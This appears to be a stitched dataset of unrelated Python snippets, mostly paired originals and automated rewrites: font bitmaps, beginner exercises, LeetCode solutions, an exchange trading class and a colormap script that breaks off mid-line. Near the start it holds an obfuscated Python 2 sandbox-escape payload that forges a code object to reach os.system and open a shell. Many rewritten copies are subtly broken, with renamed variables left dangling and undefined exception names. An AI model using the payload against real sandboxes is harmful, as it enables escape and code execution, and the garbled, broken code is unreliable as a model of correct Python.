224, 96, 112, 48, 56, 28, 12, 14, 7, 3, 128, 63, 31, 238, 63, 135, 227, 207, 199, 251, 207, 225, 248, 127, 61, 254, 63, 0, 62, 63, 189, 220, 126, 63, 31, 222, 255, 59, 129, 249, 207, 227, 192, 252, 0, 7, 224, 252, 0, 7, 229, 224, 0, 131, 199, 223, 12, 7, 128, 248, 31, 1, 128, 255, 255, 192, 0, 15, 255, 252, 0, 112, 63, 3, 224, 56, 125, 241, 224, 128, 0, 62, 63, 184, 252, 112, 56, 28, 28, 28, 28, 14, 0, 3, 129, 192, 3, 240, 15, 252, 30, 14, 56, 2, 112, 233, 99, 25, 194, 25, 198, 17, 198, 51, 198, 50, 99, 254, 115, 220, 60, 0, 31, 248, 7, 240, 7, 0, 240, 15, 128, 248, 29, 129, 156, 25, 195, 140, 63, 231, 254, 112, 102, 7, 224, 112, 255, 159, 251, 131, 240, 126, 15, 255, 63, 247, 6, 224, 252, 31, 131, 255, 239, 248, 31, 131, 254, 120, 231, 7, 224, 14, 0, 224, 14, 0, 224, 7, 7, 120, 243, 254, 31, 128, 255, 143, 252, 224, 238, 14, 224, 126, 7, 224, 126, 7, 224, 126, 14, 224, 239, 252, 255, 128, 255, 255, 248, 28, 14, 7, 251, 253, 192, 224, 112, 56, 31, 255, 248, 255, 255, 248, 28, 14, 7, 251, 253, 192, 224, 112, 56, 28, 14, 0, 15, 135, 249, 227, 184, 62, 1, 192, 56, 255, 31, 224, 110, 13, 227, 159, 208, 242, 224, 252, 31, 131, 240, 126, 15, 255, 255, 255, 7, 224, 252, 31, 131, 240, 126, 14, 255, 255, 255, 255, 254, 7, 7, 7, 7, 7, 7, 7, 7, 231, 231, 231, 126, 60, 224, 238, 28, 227, 142, 112, 238, 15, 192, 254, 15, 112, 231, 14, 56, 225, 206, 14, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 255, 255, 248, 127, 225, 255, 135, 254, 31, 236, 127, 179, 126, 205, 251, 55, 236, 223, 158, 126, 121, 249, 231, 231, 156, 224, 254, 31, 195, 252, 127, 207, 217, 251, 191, 55, 231, 252, 127, 135, 240, 254, 14, 15, 129, 255, 30, 60, 224, 238, 3, 240, 31, 128, 252, 7, 224, 59, 131, 158, 60, 127, 192, 248, 0, 255, 159, 251, 135, 240, 126, 15, 195, 255, 247, 252, 224, 28, 3, 128, 112, 14, 0, 15, 129, 255, 30, 60, 224, 238, 3, 240, 31, 128, 252, 7, 225, 187, 143, 158, 60, 127, 224, 251, 128, 8, 255, 143, 252, 224, 238, 14, 224, 238, 14, 255, 207, 252, 224, 238, 14, 224, 238, 14, 224, 240, 63, 15, 251, 199, 240, 126, 1, 252, 31, 240, 63, 0, 252, 29, 199, 191, 225, 248, 255, 255, 199, 3, 129, 192, 224, 112, 56, 28, 14, 7, 3, 129, 192, 224, 252, 31, 131, 240, 126, 15, 193, 248, 63, 7, 224, 252, 31, 199, 191, 225, 240, 96, 103, 14, 112, 227, 12, 48, 195, 156, 25, 129, 152, 31, 128, 240, 15, 0, 240, 6, 0, 97, 195, 184, 225, 156, 112, 206, 60, 227, 54, 113, 155, 48, 237, 152, 54, 124, 27, 60, 15, 30, 7, 143, 1, 195, 128, 225, 128, 112, 231, 142, 57, 193, 248, 31, 128, 240, 7, 0, 240, 31, 129, 156, 57, 199, 14, 112, 224, 224, 252, 57, 199, 24, 195, 184, 54, 7, 192, 112, 14, 1, 192, 56, 7, 0, 224, 255, 255, 192, 224, 224, 240, 112, 112, 112, 120, 56, 56, 31, 255, 248, 255, 238, 238, 238, 238, 238, 238, 239, 240, 134, 16, 134, 16, 132, 48, 132, 48, 128, 255, 119, 119, 119, 119, 119, 119, 127, 240, 24, 28, 60, 62, 54, 102, 99, 195, 255, 192, 204, 63, 31, 238, 56, 14, 63, 158, 238, 59, 158, 255, 158, 224, 224, 56, 14, 3, 188, 255, 188, 238, 31, 135, 225, 248, 127, 59, 254, 239, 0, 31, 63, 220, 124, 14, 7, 3, 128, 227, 127, 143, 0, 3, 129, 192, 231, 119, 251, 191, 143, 199, 227, 241, 253, 239, 243, 184, 62, 63, 156, 220, 63, 255, 255, 129, 195, 127, 143, 0, 59, 221, 255, 185, 206, 115, 156, 231, 0, 59, 191, 221, 252, 126, 63, 31, 143, 239, 127, 157, 192, 252, 119, 241, 240, 224, 112, 56, 29, 239, 255, 159, 143, 199, 227, 241, 248, 252, 126, 56, 252, 127, 255, 255, 254, 119, 7, 119, 119, 119, 119, 119, 127, 224, 224, 112, 56, 28, 126, 119, 115, 241, 248, 254, 119, 57, 220, 110, 56, 255, 255, 255, 255, 254, 239, 123, 255, 254, 57, 248, 231, 227, 159, 142, 126, 57, 248, 231, 227, 159, 142, 112, 239, 127, 248, 252, 126, 63, 31, 143, 199, 227, 241, 192, 30, 31, 231, 59, 135, 225, 248, 126, 29, 206, 127, 135, 128, 239, 63, 239, 59, 135, 225, 248, 126, 31, 206, 255, 187, 206, 3, 128, 224, 56, 0, 59, 191, 253, 252, 126, 63, 31, 143, 239, 127, 157, 192, 224, 112, 56, 28, 239, 255, 56, 227, 142, 56, 227, 128, 62, 63, 184, 252, 15, 195, 252, 63, 199, 255, 31, 0, 115, 191, 247, 57, 206, 115, 158, 112, 227, 241, 248, 252, 126, 63, 31, 143, 199, 255, 189, 192, 225, 152, 103, 57, 204, 51, 13, 195, 224, 120, 30, 7, 0, 227, 29, 158, 102, 121, 153, 230, 119, 184, 210, 195, 207, 15, 60, 60, 240, 115, 128, 115, 156, 227, 240, 120, 30, 7, 129, 224, 252, 115, 156, 224, 225, 216, 103, 57, 206, 51, 14, 195, 224, 120, 30, 3, 0, 192, 112, 56, 14, 0, 254, 254, 14, 28, 56, 56, 112, 224, 255, 255, 55, 102, 102, 110, 230, 102, 102, 103, 48, 255, 255, 128, 206, 102, 102, 103, 118, 102, 102, 110, 192, 113, 142] free_sans_bold9pt7b_glyphs = [[0, 0, 0, 5, 0, 1], [0, 3, 13, 6, 2, -12], [5, 7, 5, 9, 1, -12], [10, 10, 12, 10, 0, -11], [25, 9, 15, 10, 1, -13], [42, 16, 13, 16, 0, -12], [68, 12, 13, 13, 1, -12], [88, 3, 5, 5, 1, -12], [90, 6, 17, 6, 1, -12], [103, 6, 17, 6, 0, -12], [116, 5, 6, 7, 1, -12], [120, 7, 8, 11, 2, -7], [127, 3, 5, 4, 1, -1], [129, 5, 2, 6, 0, -5], [131, 3, 2, 4, 1, -1], [132, 5, 13, 5, 0, -12], [141, 9, 13, 10, 1, -12], [156, 5, 13, 10, 2, -12], [165, 9, 13, 10, 1, -12], [180, 8, 13, 10, 1, -12], [193, 8, 13, 10, 2, -12], [206, 9, 13, 10, 1, -12], [221, 9, 13, 10, 1, -12], [236, 9, 13, 10, 0, -12], [251, 10, 13, 10, 0, -12], [268, 9, 13, 10, 1, -12], [283, 3, 9, 4, 1, -8], [287, 3, 12, 4, 1, -8], [292, 9, 9, 11, 1, -8], [303, 9, 6, 11, 1, -6], [310, 9, 9, 11, 1, -8], [321, 9, 13, 11, 1, -12], [336, 16, 15, 18, 0, -12], [366, 12, 13, 13, 0, -12], [386, 11, 13, 13, 1, -12], [404, 12, 13, 13, 1, -12], [424, 12, 13, 13, 1, -12], [444, 9, 13, 12, 1, -12], [459, 9, 13, 11, 1, -12], [474, 11, 13, 14, 1, -12], [492, 11, 13, 13, 1, -12], [510, 3, 13, 6, 1, -12], [515, 8, 13, 10, 1, -12], [528, 12, 13, 13, 1, -12], [548, 8, 13, 11, 1, -12], [561, 14, 13, 16, 1, -12], [584, 11, 13, 14, 1, -12], [602, 13, 13, 14, 1, -12], [624, 11, 13, 12, 1, -12], [642, 13, 14, 14, 1, -12], [665, 12, 13, 13, 1, -12], [685, 11, 13, 12, 1, -12], [703, 9, 13, 12, 2, -12], [718, 11, 13, 13, 1, -12], [736, 12, 13, 12, 0, -12], [756, 17, 13, 17, 0, -12], [784, 12, 13, 12, 0, -12], [804, 11, 13, 12, 1, -12], [822, 9, 13, 11, 1, -12], [837, 4, 17, 6, 1, -12], [846, 5, 13, 5, 0, -12], [855, 4, 17, 6, 0, -12], [864, 8, 8, 11, 1, -12], [872, 10, 1, 10, 0, 4], [874, 3, 2, 5, 0, -12], [875, 10, 10, 10, 1, -9], [888, 10, 13, 11, 1, -12], [905, 9, 10, 10, 1, -9], [917, 9, 13, 11, 1, -12], [932, 9, 10, 10, 1, -9], [944, 5, 13, 6, 1, -12], [953, 9, 14, 11, 1, -9], [969, 9, 13, 11, 1, -12], [984, 3, 13, 5, 1, -12], [989, 4, 17, 5, 0, -12], [998, 9, 13, 10, 1, -12], [1013, 3, 13, 5, 1, -12], [1018, 14, 10, 16, 1, -9], [1036, 9, 10, 11, 1, -9], [1048, 10, 10, 11, 1, -9], [1061, 10, 14, 11, 1, -9], [1079, 9, 14, 11, 1, -9], [1095, 6, 10, 7, 1, -9], [1103, 9, 10, 10, 1, -9], [1115, 5, 12, 6, 1, -11], [1123, 9, 10, 11, 1, -9], [1135, 10, 10, 10, 0, -9], [1148, 14, 10, 14, 0, -9], [1166, 10, 10, 10, 0, -9], [1179, 10, 14, 10, 0, -9], [1197, 8, 10, 9, 1, -9], [1207, 4, 17, 7, 1, -12], [1216, 1, 17, 5, 2, -12], [1219, 4, 17, 7, 2, -12], [1228, 8, 2, 9, 0, -4]] free_sans_bold9pt7b = [FreeSansBold9pt7bBitmaps, FreeSansBold9pt7bGlyphs, 32, 126, 22]
s = ''' [setattr(f, 'func_code', type(f.func_code)(0, 0, 2, 67, 'd\\x06\\x00j\\x00\\x00j\\x01\\x00d\\x01\\x00\\x19j\\x02\\x00\\x83\\x00\\x00d\\x02\\x00\\x19j\\x03\\x00j\\x04\\x00d\\x03\\x00\\x19j\\x05\\x00d\\x04\\x00\\x19j\\x06\\x00j\\x07\\x00d\\x05\\x00\\x83\\x01\\x00\\x01d\\x00\\x00' + 's'.upper(), ([].append(1), 0, 59, 'sys', 'o' + 's.path', 'sh', ()), ('_' + '_cl' + 'ass_' + '_', '_' + '_bas' + 'es_' + '_', '_' + '_subcl' + 'asses_' + '_', '_' + '_init_' + '_', 'func_glob' + 'als', 'mod' + 'ules', 'o' + 's', 'sy' + 'stem'), (), '', '', 0, '')) + f() for\tf\tin [lambda\t: 1]] ''' s = s.replace('\n', '').replace(' ', '') print(s)
s = "\n[setattr(f, 'func_code', type(f.func_code)(0, 0, 2, 67,\n'd\\x06\\x00j\\x00\\x00j\\x01\\x00d\\x01\\x00\\x19j\\x02\\x00\\x83\\x00\\x00d\\x02\\x00\\x19j\\x03\\x00j\\x04\\x00d\\x03\\x00\\x19j\\x05\\x00d\\x04\\x00\\x19j\\x06\\x00j\\x07\\x00d\\x05\\x00\\x83\\x01\\x00\\x01d\\x00\\x00'\n+ 's'.upper(),\n([].append(1), 0, 59, 'sys', 'o' + 's.path', 'sh', ()), ('_' + '_cl' + 'ass_' + '_',\n '_' + '_bas' + 'es_' + '_',\n '_' + '_subcl' + 'asses_' + '_',\n '_' + '_init_' + '_',\n 'func_glob' + 'als',\n 'mod' + 'ules',\n 'o' + 's',\n 'sy' + 'stem'), (), '', '', 0, '')) + f() for\tf\tin [lambda\t: 1]]\n" s = s.replace('\n', '').replace(' ', '') print(s)
def split_labels( label_reader, training_label_writer, testing_label_writer, training_fraction, max_labels=0, ): """Splits a full label set into a training and testing set. Given a full set of labels and associated inputs, splits up the labels into training and testing sets in the proportion defined by training_fraction. Args: label_reader: A labelled_data.Reader instance that reads the full set of labels. training_label_writer: A labelled_data.Writer instance that writes out the subset of labels to be used for training. testing_label_writer: A labelled_data.Writer instance that writes out the subset of labels to be used for testing. training_fraction: A value between 0.0 and 1.0 that specifies the proportion of labels to use for training. Any label not used for training is used for testing until max_labels is reached. max_labels: The maximum number of labels to read from label_reader. 0 is treated as infinite. """ labels = _read_labels(label_reader, max_labels) _write_labels( labels, training_label_writer, testing_label_writer, training_fraction ) def _read_labels(reader, max_labels): labels = [] for i, label in enumerate(reader): if max_labels and i >= max_labels: break labels.append(label) return labels def _write_labels( labels, training_label_writer, testing_label_writer, training_fraction ): training_label_count = int(len(labels) * training_fraction) training_label_writer.writerows(labels[:training_label_count]) testing_label_writer.writerows(labels[training_label_count:])
def split_labels(label_reader, training_label_writer, testing_label_writer, training_fraction, max_labels=0): """Splits a full label set into a training and testing set. Given a full set of labels and associated inputs, splits up the labels into training and testing sets in the proportion defined by training_fraction. Args: label_reader: A labelled_data.Reader instance that reads the full set of labels. training_label_writer: A labelled_data.Writer instance that writes out the subset of labels to be used for training. testing_label_writer: A labelled_data.Writer instance that writes out the subset of labels to be used for testing. training_fraction: A value between 0.0 and 1.0 that specifies the proportion of labels to use for training. Any label not used for training is used for testing until max_labels is reached. max_labels: The maximum number of labels to read from label_reader. 0 is treated as infinite. """ labels = _read_labels(label_reader, max_labels) _write_labels(labels, training_label_writer, testing_label_writer, training_fraction) def _read_labels(reader, max_labels): labels = [] for (i, label) in enumerate(reader): if max_labels and i >= max_labels: break labels.append(label) return labels def _write_labels(labels, training_label_writer, testing_label_writer, training_fraction): training_label_count = int(len(labels) * training_fraction) training_label_writer.writerows(labels[:training_label_count]) testing_label_writer.writerows(labels[training_label_count:])
print("What is your first name?") firstName = input() print("What is your last name?") lastName = input() fullName = firstName + " " + lastName greeting = "Hello " + fullName print(greeting)
print('What is your first name?') first_name = input() print('What is your last name?') last_name = input() full_name = firstName + ' ' + lastName greeting = 'Hello ' + fullName print(greeting)
# Write your movie_review function here: def movie_review(rating): if rating <= 5: return "Avoid at all costs!" elif rating > 5 and rating < 9: return "This one was fun." else: return "Outstanding!" # Uncomment these function calls to test your movie_review function: print(movie_review(9)) # should print "Outstanding!" print(movie_review(4)) # should print "Avoid at all costs!" print(movie_review(6)) # should print "This one was fun."
def movie_review(rating): if rating <= 5: return 'Avoid at all costs!' elif rating > 5 and rating < 9: return 'This one was fun.' else: return 'Outstanding!' print(movie_review(9)) print(movie_review(4)) print(movie_review(6))
''' Author: hdert Date: 25/5/2018 Desc: Input Validation Version: Dev Build V.0.1.6.9.1 ''' #--Librarys-- #--Definitions-- #--Variables-- choice = "" number = 0 #-Main-Code-- while(choice != "e"): ''' while(True): choice = input("Enter a, b, or c: ") if(choice.lower() == 'a' or choice.lower() == 'b' or choice.lower() == 'c'): break ''' if(number >= 1 and number <= 100): break while(True): try: number = int(input("Enter a number between 1 and 100: ")) except: print("You did not enter a valid number") if(number >= 1 and number <= 100): break else: print("The Number has to be between 1 and 100")
""" Author: hdert Date: 25/5/2018 Desc: Input Validation Version: Dev Build V.0.1.6.9.1 """ choice = '' number = 0 while choice != 'e': '\n while(True):\n choice = input("Enter a, b, or c: ")\n if(choice.lower() == \'a\' or choice.lower() == \'b\' or choice.lower() == \'c\'):\n break\n ' if number >= 1 and number <= 100: break while True: try: number = int(input('Enter a number between 1 and 100: ')) except: print('You did not enter a valid number') if number >= 1 and number <= 100: break else: print('The Number has to be between 1 and 100')
""" Optional problems for Lab 3 """ def is_prime(n): """Returns True if n is a prime number and False otherwise. >>> is_prime(2) True >>> is_prime(16) False >>> is_prime(521) True """ "*** YOUR CODE HERE ***" def gcd(a, b): """Returns the greatest common divisor of a and b. Should be implemented using recursion. >>> gcd(34, 19) 1 >>> gcd(39, 91) 13 >>> gcd(20, 30) 10 >>> gcd(40, 40) 40 """ "*** YOUR CODE HERE ***" def ten_pairs(n): """Return the number of ten-pairs within positive integer n. >>> ten_pairs(7823952) 3 >>> ten_pairs(55055) 6 >>> ten_pairs(9641469) 6 """ "*** YOUR CODE HERE ***"
""" Optional problems for Lab 3 """ def is_prime(n): """Returns True if n is a prime number and False otherwise. >>> is_prime(2) True >>> is_prime(16) False >>> is_prime(521) True """ '*** YOUR CODE HERE ***' def gcd(a, b): """Returns the greatest common divisor of a and b. Should be implemented using recursion. >>> gcd(34, 19) 1 >>> gcd(39, 91) 13 >>> gcd(20, 30) 10 >>> gcd(40, 40) 40 """ '*** YOUR CODE HERE ***' def ten_pairs(n): """Return the number of ten-pairs within positive integer n. >>> ten_pairs(7823952) 3 >>> ten_pairs(55055) 6 >>> ten_pairs(9641469) 6 """ '*** YOUR CODE HERE ***'
""" 551. Student Attendance Record I """ class Solution: def checkRecord(self, s): """ :type s: str :rtype: bool """ A = i = 0 while i < len(s): if s[i] == 'A': A+=1 if A>=2: return False if s[i] == 'L': j = i while i < len(s) and s[i] == 'L': i+=1 if i - j > 2: return False i-=1 i+=1 return True class Solution: def checkRecord(self, s): """ :type s: str :rtype: bool """ if s.find('A') != s.rfind('A'): return False for i in range(len(s)-2): if s[i] == s[i + 1] == s[i+2] == 'L': return False return True class Solution: def checkRecord(self, s): return not re.search('A.*A|LLL',s)
""" 551. Student Attendance Record I """ class Solution: def check_record(self, s): """ :type s: str :rtype: bool """ a = i = 0 while i < len(s): if s[i] == 'A': a += 1 if A >= 2: return False if s[i] == 'L': j = i while i < len(s) and s[i] == 'L': i += 1 if i - j > 2: return False i -= 1 i += 1 return True class Solution: def check_record(self, s): """ :type s: str :rtype: bool """ if s.find('A') != s.rfind('A'): return False for i in range(len(s) - 2): if s[i] == s[i + 1] == s[i + 2] == 'L': return False return True class Solution: def check_record(self, s): return not re.search('A.*A|LLL', s)
class dtype(object): def __init__(self): super().__init__() def is_floating_point(self) -> bool: raise NotImplementedError('is_floating_point NotImplementedError') def is_complex(self) -> bool: raise NotImplementedError('is_complex NotImplementedError') def is_signed(self) -> bool: raise NotImplementedError('is_signed NotImplementedError') class dtype_float32(dtype): def __init__(self): super().__init__() def is_floating_point(self) -> bool: return True def is_complex(self) -> bool: return False def is_signed(self) -> bool: return True float32 = dtype_float32() float = float32
class Dtype(object): def __init__(self): super().__init__() def is_floating_point(self) -> bool: raise not_implemented_error('is_floating_point NotImplementedError') def is_complex(self) -> bool: raise not_implemented_error('is_complex NotImplementedError') def is_signed(self) -> bool: raise not_implemented_error('is_signed NotImplementedError') class Dtype_Float32(dtype): def __init__(self): super().__init__() def is_floating_point(self) -> bool: return True def is_complex(self) -> bool: return False def is_signed(self) -> bool: return True float32 = dtype_float32() float = float32
def print_conversion(prev_char, cur_count, first_char): space = '' if first_char else ' ' if prev_char == '0': print('{}00 {}'.format(space, '0' * cur_count), end='') else: print('{}0 {}'.format(space, '0' * cur_count), end='') def solution(): binary = [] for char in input(): binary.extend('{:b}'.format(ord(char)).zfill(7)) prev_char = None cur_count = 0 first_char = True for x in binary: if prev_char is None: prev_char = x cur_count += 1 elif prev_char == x: cur_count += 1 else: print_conversion(prev_char, cur_count, first_char) first_char = False prev_char = x cur_count = 1 print_conversion(prev_char, cur_count, first_char) solution()
def print_conversion(prev_char, cur_count, first_char): space = '' if first_char else ' ' if prev_char == '0': print('{}00 {}'.format(space, '0' * cur_count), end='') else: print('{}0 {}'.format(space, '0' * cur_count), end='') def solution(): binary = [] for char in input(): binary.extend('{:b}'.format(ord(char)).zfill(7)) prev_char = None cur_count = 0 first_char = True for x in binary: if prev_char is None: prev_char = x cur_count += 1 elif prev_char == x: cur_count += 1 else: print_conversion(prev_char, cur_count, first_char) first_char = False prev_char = x cur_count = 1 print_conversion(prev_char, cur_count, first_char) solution()
class Exchange: def __init__(self, name): self.name = name self.market_bases = {'BTC', 'ETH', 'USDT'} self.coins = self.get_all_coin_balance() self.dontTouch = {'XRP', 'XEM', 'BTC', 'DOGE', 'SC', 'NEO', 'ZEC', 'BTG', 'MONA', 'WINGS', 'USDT', 'IOTA', 'EOS', 'QTUM', 'ADA', 'XLM', 'LSK', 'BTS', 'XMR', 'DASH', 'SNT', 'BCC', 'BCH', 'SBTC', 'BCX', 'ETF', 'LTC', 'ETH', 'BNB', 'ADA', 'BTS', 'SNT'} def connect_success(self): print('connected %s' % self.name) def get_pair(self, coin, base): # return the specific pair format for this exchange raise NotImplementedError("Please Implement this method") def get_all_trading_pairs(self): ''' get all possible traing pairs in the form { 'bases': {'BTC', 'ETH', etc...}, 'pairs': { 'BTC': { ... }, 'ETH': { ... }, ...... } 'all_pairs': { ... }, } ''' raise NotImplementedError("Please Implement this method") def get_all_trading_coins(self): ''' get all possible traing coins in the form {'eos, neo, ...'} ''' raise NotImplementedError("Please Implement this method") def get_my_pair(self, coin, base): # return my format return '%s-%s' % (coin, base) def get_BTC_price(self): raise NotImplementedError("Please Implement this method") def get_price(self, coin, base='BTC'): raise NotImplementedError("Please Implement this method") def get_full_balance(self, allow_zero=False): ''' return format { 'total': { 'BTC': BTC_value, 'USD': USD_value, 'num': coin_num }, 'USD': { ... }, coinName1: { ... }, coinName2: { ... }, ... } ''' raise NotImplementedError("Please Implement this method") def get_all_coin_balance(self, allow_zero=False): ''' return format { coinName1: num1, coinName2: num2, ... } ''' raise NotImplementedError("Please Implement this method") def get_trading_pairs(self): ''' return format: { 'BTC': {'ADA', 'BAT', 'BTG', ...}, 'ETH': {'BAT', 'BNT', 'DNT', 'ETC', ...}, 'USDT': {'NEO', 'BTC', 'LTC', ...} ... } ''' raise NotImplementedError("Please Implement this method") def get_market(self, coin, base): raise NotImplementedError("Please Implement this method") def get_coin_balance(self, coin): if coin in self.coins.keys(): return self.coins[coin] else: return 0 def get_order(self, id): raise NotImplementedError("Please Implement this method") # ----------- might need to update self.coins after buy/sell ----------- # def market_buy(self, coin, base='BTC', quantity=0): ''' return format { 'exchange': [exchange name], 'side': [buy or sell], 'pair': [coin-base], 'price': [average filled price], 'quantity': [filled quantity], 'total': [total order value in BTC], 'fee': [fee in BTC], 'id': order id, 'id2': customed order id } ''' raise NotImplementedError("Please Implement this method") def market_sell(self, coin, base='BTC', quantity=0): raise NotImplementedError("Please Implement this method") def market_sell_all(self, coin, base='BTC'): quantity = self.get_coin_balance(coin) if quantity <= 0: print('%s does not have enough balance to sell' % coin) return None else: return self.market_sell(coin, base=base, quantity=quantity) def market_buy_everything(self, USD_price): raise NotImplementedError("Please Implement this method") def market_sell_everything(self): res = [] for coin, num in self.coins.items(): if coin not in self.dontTouch: response = self.market_sell_all(coin) res.append(response) print (response) return res
class Exchange: def __init__(self, name): self.name = name self.market_bases = {'BTC', 'ETH', 'USDT'} self.coins = self.get_all_coin_balance() self.dontTouch = {'XRP', 'XEM', 'BTC', 'DOGE', 'SC', 'NEO', 'ZEC', 'BTG', 'MONA', 'WINGS', 'USDT', 'IOTA', 'EOS', 'QTUM', 'ADA', 'XLM', 'LSK', 'BTS', 'XMR', 'DASH', 'SNT', 'BCC', 'BCH', 'SBTC', 'BCX', 'ETF', 'LTC', 'ETH', 'BNB', 'ADA', 'BTS', 'SNT'} def connect_success(self): print('connected %s' % self.name) def get_pair(self, coin, base): raise not_implemented_error('Please Implement this method') def get_all_trading_pairs(self): """ get all possible traing pairs in the form { 'bases': {'BTC', 'ETH', etc...}, 'pairs': { 'BTC': { ... }, 'ETH': { ... }, ...... } 'all_pairs': { ... }, } """ raise not_implemented_error('Please Implement this method') def get_all_trading_coins(self): """ get all possible traing coins in the form {'eos, neo, ...'} """ raise not_implemented_error('Please Implement this method') def get_my_pair(self, coin, base): return '%s-%s' % (coin, base) def get_btc_price(self): raise not_implemented_error('Please Implement this method') def get_price(self, coin, base='BTC'): raise not_implemented_error('Please Implement this method') def get_full_balance(self, allow_zero=False): """ return format { 'total': { 'BTC': BTC_value, 'USD': USD_value, 'num': coin_num }, 'USD': { ... }, coinName1: { ... }, coinName2: { ... }, ... } """ raise not_implemented_error('Please Implement this method') def get_all_coin_balance(self, allow_zero=False): """ return format { coinName1: num1, coinName2: num2, ... } """ raise not_implemented_error('Please Implement this method') def get_trading_pairs(self): """ return format: { 'BTC': {'ADA', 'BAT', 'BTG', ...}, 'ETH': {'BAT', 'BNT', 'DNT', 'ETC', ...}, 'USDT': {'NEO', 'BTC', 'LTC', ...} ... } """ raise not_implemented_error('Please Implement this method') def get_market(self, coin, base): raise not_implemented_error('Please Implement this method') def get_coin_balance(self, coin): if coin in self.coins.keys(): return self.coins[coin] else: return 0 def get_order(self, id): raise not_implemented_error('Please Implement this method') def market_buy(self, coin, base='BTC', quantity=0): """ return format { 'exchange': [exchange name], 'side': [buy or sell], 'pair': [coin-base], 'price': [average filled price], 'quantity': [filled quantity], 'total': [total order value in BTC], 'fee': [fee in BTC], 'id': order id, 'id2': customed order id } """ raise not_implemented_error('Please Implement this method') def market_sell(self, coin, base='BTC', quantity=0): raise not_implemented_error('Please Implement this method') def market_sell_all(self, coin, base='BTC'): quantity = self.get_coin_balance(coin) if quantity <= 0: print('%s does not have enough balance to sell' % coin) return None else: return self.market_sell(coin, base=base, quantity=quantity) def market_buy_everything(self, USD_price): raise not_implemented_error('Please Implement this method') def market_sell_everything(self): res = [] for (coin, num) in self.coins.items(): if coin not in self.dontTouch: response = self.market_sell_all(coin) res.append(response) print(response) return res
CELLMAP_WIDTH = 200 CELLMAP_HEIGHT = 200 SCREEN_WIDTH = 1200 SCREEN_HEIGHT = 1200 CELL_WIDTH = SCREEN_WIDTH / CELLMAP_WIDTH CELL_HEIGHT = SCREEN_HEIGHT / CELLMAP_HEIGHT FILL_CELL = 0 SHOW_QUADTREE = True BLACK = (0, 0, 0) WHITE = (255, 255, 255) BLUE = (0, 0, 255) RANDOM_CHANCE = 0.0625
cellmap_width = 200 cellmap_height = 200 screen_width = 1200 screen_height = 1200 cell_width = SCREEN_WIDTH / CELLMAP_WIDTH cell_height = SCREEN_HEIGHT / CELLMAP_HEIGHT fill_cell = 0 show_quadtree = True black = (0, 0, 0) white = (255, 255, 255) blue = (0, 0, 255) random_chance = 0.0625
# This is the output of analyzeImage.py (each value indicates a RGB color) myScreenshot = """ 0 4 264 267 527 530 789 66328 66588 66591 66849 132388 132647 132650 132908 198447 198706 198708 264503 264505 330299 330557 330560 396354 396612 462150 462408 527946 528204 593998 594000 659794 660052 725590 791383 791641 857435 857437 923230 989024 989026 1054819 1120613 1120870 1186408 1252201 1252459 1318252 1384046 1384047 1449841 1515634 1515892 1581429 1647222 1713016 1713273 1779066 1844860 1910397 1976190 1976447 2042241 2108034 2173827 2239364 2239621 2305415 2371208 2437001 2502794 2568587 2568844 2634381 2700174 2765968 2831761 2897554 2963347 3029140 3029397 3095190 3160983 3226520 3292313 3358106 3423899 3489692 3555485 3621278 3687071 3752864 3818656 3884449 3950242 4016035 4081828 4147621 4147878 4213671 4279464 4345256 4411049 4476842 4542635 4608428 4739757 4805550 4871342 4937135 5002928 5068721 5134514 5200306 5266099 5331892 5397685 5463477 5529270 5595063 5660856 5726648 5792441 5858234 5924027 5989819 6121148 6186941 6252734 6318526 6384319 6450112 6515904 6581953 6647746 6779074 6844867 6910660 6976452 7042245 7108038 7173830 7239623 7370952 7436744 7502793 7568586 7634378 7700171 7765964 7897292 7963085 8028877 8094670 8160719 8226511 8357840 8423632 8489425 8555218 8621010 8752339 8818387 8884180 8949973 9015765 9147094 9212886 9278679 9344727 9410520 9541849 9607641 9673434 9739226 9870555 9936603 10002396 10068188 10133981 10265309 10331102 10397150 10462943 10594272 10660064 10725857 10791905 10923234 10989026 11054819 11120611 11251940 11317988 11383781 11515109 11580902 11646694 11712743 11844071 11909864 11975656 12106985 12173033 12238826 12304618 12435947 12501995 12567787 12699116 12764908 12830701 12962285 13028078 13093870 13159663 13291247 13357040 13422832 13554161 13619953 13686001 13817330 13883122 13948915 14080499 14146292 14212084 14343412 14409461 14475253 14606582 14672374 14738423 14869751 14935543 15066872 15132920 15198713 15330041 15396090 15461882 15593210 15659003 15725051 15856380 15922172 16053500 16119549 16185341 16316670 16382718 16448510 16579839 16645631 16777215 """ # https://www.i2phd.org/images/argo143screen.gif webScreenshot = """ 0 4 264 267 527 530 789 66328 66588 66591 66849 132388 132647 132650 132908 198447 198706 198708 264503 264505 330299 330557 330560 396354 396612 462150 462408 527946 528204 593998 594000 659794 660052 725590 791383 791641 857435 857437 923230 989024 989026 1054819 1120613 1120870 1186408 1252201 1252459 1318252 1384046 1384047 1449841 1515634 1515892 1581429 1647222 1713016 1713273 1779066 1844860 1910397 1976190 1976447 2042241 2108034 2173827 2239364 2239621 2305415 2371208 2437001 2502794 2568587 2568844 2634381 2700174 2765968 2831761 2897554 2963347 3029140 3029397 3095190 3160983 3226520 3292313 3358106 3423899 3489692 3555485 3621278 3687071 3752864 3818656 3884449 3950242 4016035 4081828 4147621 4147878 4213671 4279464 4345256 4411049 4476842 4542635 4608428 4739757 4805550 4871342 4937135 5002928 5068721 5134514 5200306 5266099 5331892 5397685 5463477 5529270 5595063 5660856 5726648 5792441 5858234 5924027 5989819 6121148 6186941 6252734 6318526 6384319 6450112 6515904 6581953 6647746 6779074 6844867 6910660 6976452 7042245 7108038 7173830 7239623 7370952 7436744 7502793 7568586 7634378 7700171 7765964 7897292 7963085 8028877 8094670 8160719 8226511 8357840 8423632 8489425 8555218 8621010 8752339 8818387 8884180 8949973 9015765 9147094 9212886 9278679 9344727 9410520 9541849 9607641 9673434 9739226 9870555 9936603 10002396 10068188 10133981 10265309 10331102 10397150 10462943 10594272 10660064 10725857 10791905 10923234 10989026 11054819 11120611 11251940 11317988 11383781 11515109 11580902 11646694 11712743 11844071 11909864 11975656 12106985 12173033 12238826 12304618 12435947 12501995 12567787 12699116 12764908 12830701 12962285 13028078 13093870 13159663 13291247 13357040 13422832 13554161 13619953 13686001 13817330 13883122 13948915 14080499 14146292 14212084 14343412 14409461 14475253 14606582 14672374 14738423 14869751 14935543 15066872 15132920 15198713 15330041 15396090 15461882 15593210 15659003 15725051 15856380 15922172 16053500 16119549 16185341 16316670 16382718 16448510 16579839 16645631 16777215 """ if __name__ == "__main__": values = [x.strip() for x in myScreenshot.replace(",", " ").split(" ")] values = [int(x) for x in values if len(x)] assert (len(values) == 256) txt = f"# colormap argo\n" for i in range(256): int32 = 